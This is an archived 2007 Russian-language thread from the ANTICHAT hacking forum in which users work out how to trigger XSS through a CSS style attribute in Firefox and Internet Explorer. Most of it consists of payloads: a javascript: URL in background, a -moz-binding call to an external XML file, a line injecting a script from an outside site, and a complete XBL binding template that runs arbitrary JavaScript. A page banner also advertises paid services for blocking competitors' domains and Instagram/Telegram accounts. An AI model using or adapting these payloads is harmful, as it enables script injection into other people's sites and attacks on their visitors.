УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости
XSS через style в Mozilla FireFox.

Опции темы

Поиск в этой теме

Опции просмотра

XSS через style в Mozilla FireFox.

27.11.2007, 16:56

Loopy

Новичок

Регистрация: 14.07.2007

Сообщений: 29

Провел на форуме:
52130

Репутация: 10

XSS через style в Mozilla FireFox.

Хай.
По сабжу не подскажите?
В IE: style="background: url(javascript:alert());", а в Мозилле, слышал про -mozilla-opacity, или как-то так..
Нужно, чтобы в Мозилле при загрузке страницы сразу исполнялась XSS в аттрибуте style..

27.11.2007, 16:59

Евгений Минаев

Познающий

Регистрация: 12.11.2007

Сообщений: 70

Провел на форуме:
1214722

Репутация: 676

Попробуй так

Цитата:

<a href="#" style="-moz-binding:url(http://ha.ckers.org/xssmoz.xml#xss);

27.11.2007, 17:06

Loopy

Новичок

Регистрация: 14.07.2007

Сообщений: 29

Провел на форуме:
52130

Репутация: 10

Евгений Минаев
Посмотрел этот XML, не, это жесткий метод.. сложно свободно писать Js.. Я хочю через аттрибут в стайле выполнить XSS подключающий сторонний Js-код, путём createElement..

27.11.2007, 17:15

Loopy

Новичок

Регистрация: 14.07.2007

Сообщений: 29

Провел на форуме:
52130

Репутация: 10

Быть точнее.
style="background: url(javascript: document.createElement('script').src='http://www.mysite.ru/myscript.js');"
Это идеально для IE, тоже самое мне нужно в Мозилле, т.к. этот код не валиден Фоксу.

27.11.2007, 17:41

Loopy

Новичок

Регистрация: 14.07.2007

Сообщений: 29

Провел на форуме:
52130

Репутация: 10

Подключил... Через биндинг..

CSS: -moz-binding: url("http://localhost/xml.xml#xss");
XML: <?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.org/1999/xhtml">
<binding id="xss">
<implementation>
<constructor>
JavaScript code...
</constructor>
</implementation>
</binding>
</bindings>